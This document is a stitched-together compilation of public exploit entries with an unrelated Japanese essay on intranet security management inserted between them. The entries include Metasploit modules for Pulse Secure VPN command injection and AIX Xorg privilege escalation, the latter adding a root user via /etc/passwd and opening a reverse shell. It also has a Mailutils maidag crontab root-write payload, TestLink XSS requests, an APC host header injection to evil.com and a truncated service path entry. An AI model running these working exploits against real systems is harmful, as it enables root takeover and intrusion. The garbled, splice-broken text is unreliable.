# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'               => 'Pulse Secure VPN Arbitrary Command Execution',
      'Description'        => %q{
        This module exploits a post-auth command injection in the Pulse Secure
        VPN server to execute commands as root. The env(1) command is used to
        bypass application whitelisting and run arbitrary commands.

        Please see related module auxiliary/gather/pulse_secure_file_disclosure
        for a pre-auth file read that is able to obtain plaintext and hashed
        credentials, plus session IDs that may be used with this exploit.

        A valid administrator session ID is required in lieu of untested SSRF.
      },
      'Author'             => [
        'Orange Tsai', # Discovery (@orange_8361)
        'Meh Chang',   # Discovery (@mehqq_)
        'wvu'          # Module
      ],
      'References'         => [
        ['CVE', '2019-11539'],
        ['URL', 'https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/'],
        ['URL', 'https://blog.orange.tw/2019/09/attacking-ssl-vpn-part-3-golden-pulse-secure-rce-chain.html'],
        ['URL', 'https://hackerone.com/reports/591295']
      ],
      'DisclosureDate'     => '2019-04-24', # Public disclosure
      'License'            => MSF_LICENSE,
      'Platform'           => ['unix', 'linux'],
      'Arch'               => [ARCH_CMD, ARCH_X86, ARCH_X64],
      'Privileged'         => true,
      'Targets'            => [
        ['Unix In-Memory',
          'Platform'       => 'unix',
          'Arch'           => ARCH_CMD,
          'Type'           => :unix_memory,
          'Payload'        => {
            'BadChars'     => %Q(&*(){}[]`;|?\n~<>"'),
            'Encoder'      => 'generic/none' # Force manual badchar analysis
          },
          'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
        ],
        ['Linux Dropper',
          'Platform'       => 'linux',
          'Arch'           => [ARCH_X86, ARCH_X64],
          'Type'           => :linux_dropper,
          'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'}
        ]
      ],
      'DefaultTarget'      => 1,
      'DefaultOptions'     => {
        'RPORT'            => 443,
        'SSL'              => true,
        'CMDSTAGER::SSL'   => true
      },
      'Notes'              => {
        'Stability'        => [CRASH_SAFE],
        'Reliability'      => [REPEATABLE_SESSION],
        'SideEffects'      => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
        'RelatedModules'   => ['auxiliary/gather/pulse_secure_file_disclosure']
      }
    ))

    register_options([
      OptString.new('SID', [true, 'Valid admin session ID'])
    ])
  end

  def post_auth?
    true
  end

  def exploit
    get_csrf_token

    print_status("Executing #{target.name} target")

    case target['Type']
    when :unix_memory
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager(
        flavor:   :curl,
        noconcat: true
      )
    end
  end

  def get_csrf_token
    @cookie = "DSID=#{datastore['SID']}"
    print_good("Setting session cookie: #{@cookie}")

    print_status('Obtaining CSRF token')
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => diag_cgi,
      'cookie' => @cookie
    )

    unless res && res.code == 200 && (@csrf_token = parse_csrf_token(res.body))
      fail_with(Failure::NoAccess, 'Session cookie expired or invalid')
    end

    print_good("CSRF token: #{@csrf_token}")
  end

  def parse_csrf_token(body)
    body.to_s.scan(/xsauth=([[:xdigit:]]+)/).flatten.first
  end

  def execute_command(cmd, _opts = {})
    # Prepend absolute path to curl(1), since it's not in $PATH
    cmd.prepend('/home/bin/') if cmd.start_with?('curl')

    # Bypass application whitelisting with permitted env(1)
    cmd.prepend('env ')

    vprint_status("Executing command: #{cmd}")
    print_status("Yeeting exploit at #{full_uri(diag_cgi)}")
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => diag_cgi,
      'cookie'    => @cookie,
      'vars_get'  => {
        'a'       => 'td', # tcpdump
        'options' => sploit(cmd),
        'xsauth'  => @csrf_token,
        'toggle'  => 'Start Sniffing'
      }
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Could not yeet exploit')
    end

    print_status("Triggering payload at #{full_uri(setcookie_cgi)}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => setcookie_cgi
    }, 3.1337)

    # 200 response code, yet 500 error in body
    unless res && res.code == 200 && !res.body.include?('500 Internal Error')
      print_warning('Payload execution may have failed')
      return
    end

    print_good('Payload execution successful')

    if datastore['PAYLOAD'] == 'cmd/unix/generic'
      print_line(res.body.sub(/\s*<html>.*/m, ''))
    end
  end

  def sploit(cmd)
    %(-r$x="#{cmd}",system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc <)
  end

  def diag_cgi
    '/dana-admin/diag/diag.cgi'
  end

  def setcookie_cgi
    '/dana-na/auth/setcookie.cgi'
  end

end
            

一般的な規定

まず、ここでのイントラネットには、ネットワークトポロジの計画、アプリケーションのリリース、アクセス制御などの基本的なネットワーク計画が含まれておらず、アイデンティティ認証モードとアクセス制御のシナリオモードを推奨しています。イントラネットのセキュリティ制御の3つの要素またはリスク評価に戻ると、要素をスキャンすることから始めることで、管理と制御作業のアイデアをよりよく反映できます。

リスク評価の3つの要素:

- 資産:すべてのIT資産と無形資産(データと評判を含む);

- 脅威:これは一般に、潜在的に有害な行動と、内部および外部で直面する力を指します。

- 脆弱性:これは主に抜け穴やその他の隠された危険を指します。

資産

別の観点から、イントラネットセキュリティの最初のステップが資産を収集、整理、分類することである理由がわかります。実際、このステップは最も複雑です。一般的に、企業は開始時に安全に焦点を合わせません。彼らは、安全に注意を払い始め、特定の段階に発展するまで独自の安全部門を設立し始めたに違いありません。緊急消防に加えて、促進する最初のステップは、資産を収集し、資産を分類し、資産を管理することです。異なる資産に対して異なるセキュリティ戦略を実装する必要があることに注意することが特に重要です。 OA、ファイナンス、ドメイン制御などの重要なシステムには、機密データまたはイントラネット許可コレクションがある場合があるため、特別に保護されている必要があり、最も厳格な管理措置を実装する必要があります。ただし、仮想化ホストプールをテストする場合、それらが分離されている場合、セキュリティ基準のタイプは必要ありません。

資産発見を実装するための技術ソリューション:

- 収集された最も元のデータには(IP、ドメイン名、URLなど)が含まれます。

- ビジネス関連の情報(資産の所有権と運用および保守担当者、資産使用目的など)を収集します。

- 上記のデータを使用して、イントラネットで検出および検出してアクティブドメイン、IP、URLなどを発見し、ドメイン名のさまざまな分析を行い、サブドメイン名、レコード、CNAMEなどを取得する(DNS、PDNS)。

- すべてのレベルの資産は倉庫に保存され、すべてのIPがスキャンされ、実行中のサービス、ソフトウェア、およびそのバージョン、コンポーネントとバージョン、タイトル、およびその他の関連情報を取得して、関連する所有者が倉庫に入るようにチェックします。

- 上記の情報を管理して、統一された資産データベースを形成します。

資産では、管理、分類、ネットワークトポロジ計画、資産のアーキテクチャの次のステップを実行できます。ただし、後続の監査作業を容易にするために、まだいくつかの基本的なポイントがあります。

アイデンティティ認証とアクセス制御、IDと端末認証、特にWebサービスサービスとSSO Unified認証管理と同様に、PINで統一された認証を備えたアプリを使用する必要があります。

MySQLやSSHなどのサービスのアクセス制御のために、アクセス制御を実行するためにBastion Machineに頼ることが最善です。

VPNは、オフィスの場所の相互接続とモバイルオフィスに必要です。

イントラネットにNATを持っていないことが最善です。 NATがある場合は、対応するテーブルなどを変換する必要があります。

壊れやすい

ここでの脆弱性は、一般に脆弱性制御の視点に基づいています。通常、3つの問題があります。 1つ目は、脆弱性を発見する方法、脆弱性を修正する方法、およびその後の制御問題を発見する方法です。この脆弱性制御プロセスは、閉鎖ループを形成し、脆弱性または脆弱性の問題を効果的に解決するために、リアルタイムまたは準リアルタイムモニタリングを実現するよう努力する必要があります。

脆弱性を発見します

脆弱性情報を収集します

業界のレポートと抜け穴情報に注意してください

掘って自分自身を蓄積します

古い脆弱性の知識ベースを確立します

脆弱性検出:

コマーシャルミススイープ製品を購入します(大規模なエリアカバレッジ検出に適しています)

オープンソース製品を活用する(独自のPOCの蓄積に焦点を当てる)

自己開発の逃したスキャンエンジン(独自のPOCの蓄積に焦点を当てる)

脆弱性を修正:

アップグレードまたはパッチ修正(オープンソースコンポーネントまたは購入した製品に適しています)

コードレベルの修理(自己開発製品用)

その他の緩和策:ファイアウォール、WAFなど(まだ適切な解決策がない脆弱性について)

脆弱性クローズドループ:

脆弱性の発見、通知、修理は最初のステップにすぎません。

脆弱性の再テストと確認は閉鎖されました

再発を回避するための定期的な監視

教育と安全標準化の促進(安全訓練、安全システム、SDLメカニズム)

脅威

ここでの脅威には、内部および外部の脅威が含まれます。外部の脅威は一般的であり、すべての攻撃がカウントされ、一般的な内部攻撃もカウントされます。ただし、機密情報、機密文書(入札、引用、雇用書類、契約)、および知的財産資産(コード、特許、技術ソリューションなど)の漏れがあることに注目する価値のある別のタイプの人々がいます。 DLPモニタリングに加えて、GitHub、さまざまなネットワークディスク、コードホスティングプラットフォーム、クラウドプラットフォームを監視して、独自の利益を保護する必要もあります。ここでは、アクティブディフェンス(攻撃防衛など)を導入することはありません。当面は、外部の世論の安全性を考慮しません。したがって、イントラネットのIDS/IPSシステムを確立することも非常に必要です。確立する必要がある能力には、2つのポイントが必要です。最初に、事前に、処理アラーム中、および後処理緊急監査です。

トラフィックフルミラーバックアップシステム(ネットミラー、スカイアイ、SOC製品)

ログコレクションプラットフォーム(各端末で、ログが構成され、ログが収集、要約、ソート、分析、保持)オープンソース製品はELKシステムから学習できます

自動ログ、トラフィック分析アラームプラットフォーム、通知システム

脅威への少し追加

監査について言いたいです。 ACLテクノロジーを使用したIPに基づくアクセス制御は安価ですが、動的な変更と互換性がある能力がありません。アイデンティティと端末認証に基づいたアクセス制御、およびそのログ保持は、その後の監査、追跡、および説明責任にとって非常に重要です。

要約

上記の3つすべてについて、新しく確立されたセキュリティ部門で最も重要な2つのものは、Trinityシステムを確立し、資産を収集し、最も基本的な管理と運用基準を確立し、脆弱性スキャンシステムを統合することです(脆弱性の取り扱いのための閉ループを確立する)。同時に、脅威インテリジェンスを組み合わせて内部および外部のセキュリティインシデントを監視し、タイムリーな方法と余波でそれらに対処します。 Trinityシステムを確立した後、イントラネットセキュリティ戦争の最も基本的な素材の基礎は十分に構築され、これらの武器と機器のみでのみイントラネットセキュリティ戦争が本当に始まることができます。

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Xorg X11 Server Local Privilege Escalation',
      'Description'    => %q(
        WARNING: Successful execution of this module results in /etc/passwd being overwritten.

        This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.

        A permission check flaw exists for -modulepath and -logfile options when
        starting Xorg.  This allows unprivileged users that can start the server
        the ability to elevate privileges and run arbitrary code under root
        privileges.

        This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
        Due to permission restrictions of the crontab in AIX, this module does not use cron,
        and instead overwrites /etc/passwd in order to create a new user with root privileges.
        All currently logged in users need to be included when /etc/passwd is overwritten,
        else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
        The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
        and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
        overwriting /etc/passwd.
      ),
      'Author'         =>
        [
          'Narendra Shinde', # Discovery and original FreeBSD exploit
          'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
        ],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'Oct 25 2018',
      'Notes'         =>
        {
          'SideEffects' => [ CONFIG_CHANGES ]
        },
      'References'     =>
        [
          ['CVE', '2018-14665'],
          ['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
          ['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
          ['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
          ['EDB', '45938']
        ],
      'Platform'       => ['unix'],
      'Arch'           => [ARCH_CMD],
      'SessionTypes'   => ['shell'],
      'Payload'        => {
        'Compat' => {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'perl'
        }
      },
      'DefaultOptions' => {
        'Payload' => 'cmd/unix/reverse_perl'
      },
      'Targets'        =>
        [
          ['IBM AIX Version 6.1', {}],
          ['IBM AIX Version 7.1', {}],
          ['IBM AIX Version 7.2', {}]
        ],
      'DefaultTarget'  => 1))

    register_options(
      [
        OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
      ]
    )
  end

  def check
    xorg_path = cmd_exec('command -v Xorg')
    if !xorg_path.include?('Xorg')
      print_error('Could not find Xorg executable')
      return Exploit::CheckCode::Safe
    end

    ksh93_path = cmd_exec('command -v ksh93')
    if !ksh93_path.include?('ksh')
      print_error('Could not find Ksh93 executable')
      return Exploit::CheckCode::Safe
    end

    if !xorg_vulnerable?
      print_error('Xorg version is not vulnerable')
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Appears
  end

  def exploit
    status = check

    if status == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, '')
    end

    if !writable?(datastore['WritableDir'])
      fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
    end

    xorg_path = cmd_exec('command -v Xorg')
    ksh93_path = cmd_exec('command -v ksh93')

    xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
    xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
    upload_and_chmodx(xorg_script_path, xorg_payload)

    passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
    print_status("Backing up /etc/passwd to #{passwd_backup}")
    cmd_exec("cp /etc/passwd #{passwd_backup}")
    register_file_for_cleanup(passwd_backup)

    print_status("Executing #{xorg_script_path}")
    cmd_exec(xorg_script_path)
    print_status('Checking if we are root')

    if root?
      shell_payload = %(#!#{ksh93_path}
#{payload.encoded}
)
      shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
      upload_and_chmodx(shell_script_path, shell_payload)

      print_status('Executing shell payload')
      cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")

      print_status('Restoring original /etc/passwd')
      cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
    else
      fail_with(Failure::PayloadFailed, '')
    end
  end

  def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
    passwd_file = read_file('/etc/passwd')
    passwd_array = passwd_file.split("\n")

    print_status('Retrieving currently logged in users')
    users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
    users << "\n"
    users_array = users.split("\n")

    logged_in_users = ''
    if !users_array.empty?
      users_array.each do |user|
        user << ':'
        passwd_array.each do |line|
          if line.index(user) == 0
            logged_in_users << '\n'
            logged_in_users << line
          end
        end
      end
    end

    passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"

    subdir_count = writabledir.count('/')
    relative_passwd = '../' * subdir_count + '../../etc/passwd'

    return %(#!#{ksh93_path}
    #{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
)
  end

  def xorg_vulnerable?
    version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
    print_status("Xorg version is #{version}")
    semantic_version = Gem::Version.new(version)

    vulnerable_versions = [
      ['6.1.9.0', '6.1.9.100'],
      ['7.1.4.0', '7.1.4.30'],
      ['7.1.5.0', '7.1.5.31'],
      ['7.2.0.0', '7.2.0.1'],
      ['7.2.1.0', '7.2.1.0'],
      ['7.2.2.0', '7.2.2.0'],
      ['7.2.3.0', '7.2.3.15']
    ]

    vulnerable_versions.each do |version_pair|
      if semantic_version >= Gem::Version.new(version_pair[0]) &&
         semantic_version <= Gem::Version.new(version_pair[1])
        return true
      end
    end

    return false
  end

  def root?
    id_output = cmd_exec('su - wow -c "id"')

    if id_output.include?('euid=0') || id_output.include?('uid=0')
      print_good('Got root!')
      return true
    end

    print_error('Not root')
    false
  end

  def upload_and_chmodx(path, data)
    print_status("Writing to #{path}")
    rm_f(path)
    write_file(path, data)
    cmd_exec("chmod 0555 '#{path}'")

    register_file_for_cleanup(path)
  end
end
            
# Exploit Title: GNU Mailutils 3.7 - Local Privilege Escalation
# Date: 2019-11-06
# Exploit Author: Mike Gualtieri
# Vendor Homepage: https://mailutils.org/
# Software Link: https://ftp.gnu.org/gnu/mailutils/mailutils-3.7.tar.gz
# Version: 2.0 <= 3.7
# Tested on: Gentoo
# CVE : CVE-2019-18862

Title   : GNU Mailutils / Maidag Local Privilege Escalation
Author  : Mike Gualtieri :: https://www.mike-gualtieri.com
Date    : 2019-11-06
Updated : 2019-11-20

Vendor Affected:   GNU Mailutils :: https://mailutils.org/
Versions Affected: 2.0 - 3.7
CVE Designator:    CVE-2019-18862


1. Overview

The --url parameter included in the GNU Mailutils maidag utility (versions 2.0
through 3.7) can abused to write to arbitrary files on the host operating
system.  By default, maidag is set to execute with setuid root permissions,
which can lead to local privilege escalation through code/command execution by
writing to the system's crontab or by writing to other root owned files on the
operating system.



2. Detail

As described by the project's homepage, "GNU Mailutils is a swiss army knife of 
electronic mail handling. It offers a rich set of utilities and daemons for
processing e-mail".

Maidag, a mail delivery agent utility included in the suite, is by default
marked to execute with setuid (suid) root permissions.

The --url parameter of maidag can be abused to write to arbitrary files on the 
operating system.  Abusing this option while the binary is marked with suid 
permissions allows a low privileged user to write to arbitrary files on the 
system as root.  Writing to the crontab, for example, may lead to a root shell.

The flaw itself appears to date back to the 2008-10-19 commit, when the --url 
parameter was introduced to maidag.

	11637b0f - New maidag mode: --url
	https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=11637b0f262db62b4dc466cefb9315098a1a995a

	maidag/Makefile.am:
    	chmod 4755 $(DESTDIR)$(sbindir)/$$i;\


The following payload will execute arbitrary commands as root and works with 
versions of maidag, through version 3.7.

	maidag  --url /etc/crontab < /tmp/crontab.in

	The file /tmp/crontab.in would contain a payload like the following.  

	line 1:
	line 2: */1  *  * * *  root    /tmp/payload.sh

	Please note: For the input to be accepted by maidag, the first line of the
    file must be blank or be commented.

	In the above example, the file /tmp/payload.sh would include arbitrary 
    commands to execute as root.


Older versions of GNU Mailutils (2.2 and previous) require a different syntax:

	maidag --url 'mbox://user@localhost //etc/crontab' < /tmp/crontab.in



3. Solution

A fix for the flaw has been made in GNU Mailutils 3.8, which removes the maidag 
utility, and includes three new utilities that replace its functionality.  
Details about the new features can be found in the project's release notes:

	https://git.savannah.gnu.org/cgit/mailutils.git/tree/NEWS

Another workaround for those unable to upgrade, is to remove the suid bit on 
/usr/sbin/maidag (e.g. `chmod u-s /usr/sbin/maidag`).

It should be noted that some Linux distributions already remove the suid bit
from maidag by default, nullifying this privilege escalation flaw.

Another patch has been made available by Sergey Poznyakoff and posted to the
GNU Mailutils mailing list, which removes the setuid bit for maidag in all but
required cases.  The patch is intended for users who can not yet upgrade to
mailutils 3.8.  The patch has also been made available here:
https://www.mike-gualtieri.com/files/maidag-dropsetuid.patch



4. Additional Comments

This vulnerability disclosure was submitted to MITRE Corporation for inclusion
in the Common Vulnerabilities and Exposures (CVE) database.  The designator
CVE-2019-18862 has been assigned.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18862
https://nvd.nist.gov/vuln/detail/CVE-2019-18862

The NIST National Vulnerability Database (NVD) has assigned the following
ratings:

CVSS 3.x Severity and Metrics: Base Score: 7.8 HIGH
CVSS 2.0 Severity and Metrics: Base Score: 4.6 MEDIUM

This disclosure will be updated as new information becomes available.  



5. History

2019-10-09 Informed Sergey Poznyakoff <gray@gnu.org.ua> of security issue

2019-10-10 Reply from Sergey acknowledging the issue

2019-10-12 Fix available in the GNU Mailutils git repository:
           739c6ee5 - Split maidag into three single-purpose tools
           https://git.savannah.gnu.org/cgit/mailutils.git/commit/?id=739c6ee525a4f7bb76b8fe2bd75e81a122764ced

2019-11-06 GNU Mailutils Version 3.8 released to close the issue

2019-11-06 Submission of this vulnerability disclosure to MITRE Corporate to
           obtain a CVE designator

2019-11-07 Patch offered by Sergey for those unable to upgrade to version 3.8

2019-11-11 CVE-2019-18862 assigned to flaw

2019-11-20 Vulnerability disclosure made publicly available
            
# Exploit Title: TestLink 1.9.19 - Persistent Cross-Site Scripting
# Date: 2019-11-20
# Exploit Author: Milad Khoshdel
# Software Link: http://testlink.org/
# Version: TestLink 1.9.19
# Tested on: Linux Apache/2 PHP/7.3.11


=========
Vulnerable Pages:
=========

Persistent --> https://[TestLink-URL]/testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3
Non-Persistent --> https://[TestLink-URL]/testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&nsextt=%3cscRipt%3ealert(0x00A5CA)%3c%2fscRipt%3e&show_mode=editDisabled&step_id=
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&%3cscRipt%3ealert(0x00A5CE)%3c%2fscRipt%3e=nsextt&show_mode=editDisabled
Non-Persistent --> https://[TestLink-URL]/testlink/lib/testcases/tcEdit.php?doAction=doDeleteStep&show_mode=%3cscRipt%3ealert(0x00A54D)%3c%2fscRipt%3e&step_id=


=========
POC:
=========

REGUEST -->

GET /testlink/index.php?caller=login&reqURI=javascript%3aalert(0x002082)&viewer=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd
Referer: http://127.0.0.1/testlink/login.php?viewer=3
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


RESPONSE -->

HTTP/1.1 200 OK
Server: Apache
Content-Length: 526
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=50
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding: 
Date: Wed, 20 Nov 2019 11:29:45 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate

<!DOCTYPE html>

<head>
 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
 <meta http-equiv="Content-language" content="en" />
 <meta name="generator" content="testlink" />
 <meta name="author" content="TestLink Development Team" />
 <meta name="copyright" content="TestLink Development Team" />
 <meta name="robots" content="NOFOLLOW" />
 <title>TestLink 1.9.19</title>
 <meta name="description" content="TestLink - TestLink ::: Main Page" />
 <link rel="icon" href="http://127.0.0.1/testlink/gui/themes/default/images/favicon.ico" type="image/x-icon" />
</head>


<frameset rows="70,*" frameborder="0" framespacing="0">
 <frame src="lib/general/navBar.php?tproject_id=0&tplan_id=0&updateMainPage=1" name="titlebar" scrolling="no" noresize="noresize" />
 <frame src="javascript:alert(0x002082)" scrolling='auto' name='mainframe' />
 <noframes>
  <body>
   TestLink required a frames supporting browser.
  </body>
 </noframes>
</frameset>


-------------------------------------------------

STEP 1 -->

[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=%3cscRipt%3ealert(0x008B19)%3c%2fscRipt%3e&id=4&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TESTLINK197TL_lastTestPlanForUserID_1=2; TL_lastTestProjectForUserID_2=1
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


[Response]
HTTP/1.1 200 OK
Server: Apache
Content-Length: 0
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=47
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Date: Wed, 20 Nov 2019 11:59:45 GMT
Vary: Cookie
Cache-Control: no-store, no-cache, must-revalidate

STEP 2 -->

[Request]
GET /testlink/lib/testcases/archiveData.php?add_relation_feedback_msg=Test%20Case%20with%20external%20ID%3A%20%20-%20does%20not%20exist&edit=testcase&id=127.0.0.1/trace.axd&show_mode=show&version_id=3 HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-us,en;q=0.5
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: PHPSESSID=7sjusfplttil0vsrv31ll2on2v; TESTLINK197TL_execSetResults_bn_view_status=0; TESTLINK197TL_execSetResults_platform_notes_view_status=0; TESTLINK197TL_execSetResults_tpn_view_status=0; TESTLINK197ys-tproject_1_ext-comp-1001=a%3As%253A%2F1%2F3; TESTLINK_USER_AUTH_COOKIE=09d24c73361bc02964e80077a0b797b6fc2c1afb74c52ceea74c63311365fadd; TESTLINK197TL_user2_proj1_testPlanId=2; TL_lastTestProjectForUserID_2=1; TESTLINK197TL_lastTestPlanForUserID_1=2
Referer: http://127.0.0.1/testlink/lib/testcases/tcEdit.php
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36


[Response]
#Identification Page
HTTP/1.1 200 OK
Transfer-Encoding: chunked
Server: Apache
X-Powered-By: PHP/7.3.11
Pragma: no-cache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=5, max=98
X-Frame-Options: SAMEORIGIN
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Encoding: 
Date: Wed, 20 Nov 2019 12:02:38 GMT
Vary: Cookie,Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate

ner_title_{php}Smarty_Resource::parseResourceName(system("ns,[container_title_<scRipt>alert(0x008B19)</scRipt>] => container_title_<scRipt>alert(0x008B19)</scRipt>,[container_title_{{_self.env.registerUndefinedFilterCallback("sys
            
# Exploit Title: Network Management Card 6.2.0 - Host Header Injection
# Google Dork: 
# Date: 2019-11-21
# Exploit Author: Amal E Thamban,Kamal Paul
# Vendor Homepage: https://www.apc.com/in/en/
# Software Link: https://www.apc.com/shop/in/en/products/Network-Management-Card
# Version: v6.2.0
# Tested on: Kali Linux
# CVE : 


Description:Host Header Injection

Product is vulnerable to host header injection because the host header can be changed to something outside the target domain (ie.evil.com) and cause it to redirect to to that domain instead. 
-------------------------------------------------------------------------------------------------------------------------
Orginal Request
GET / HTTP/1.1
Host: 192.168.10.211
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.211/logon.htm
Connection: close
Cookie: C0=apc
Upgrade-Insecure-Requests: 1
--------------------------------------------------------------------------------------------------------------------------
Modifed request

GET / HTTP/1.1
Host: evil.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.10.211/logon.htm
Connection: close
Cookie: C0=apc
Upgrade-Insecure-Requests: 
---------------------------------------------------------------------------------------------------------------------------
Response

HTTP/1.1 303 See Other
Location: http://evil.com/home.htm
Content-Length: 0
WebServer:
Connection: close
            
#Exploit Title: ProShow Producer 9.0.3797 - ('ScsiAccess') Unquoted Service Path
#Exploit Author : ZwX
#Exploit Date: 2019-11-21
#Vendor Homepage : http://www.photodex.com/
#Link Software : http://files.photodex.com/release/pspro_90_3797.exe
#Tested on OS: Windows 7


#Analyze PoC :
==============


C:\Users\ZwX>sc qc ScsiAccess
[SC] QueryServiceConfig réussite(s)

SERVICE_NAME: ScsiAccess
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
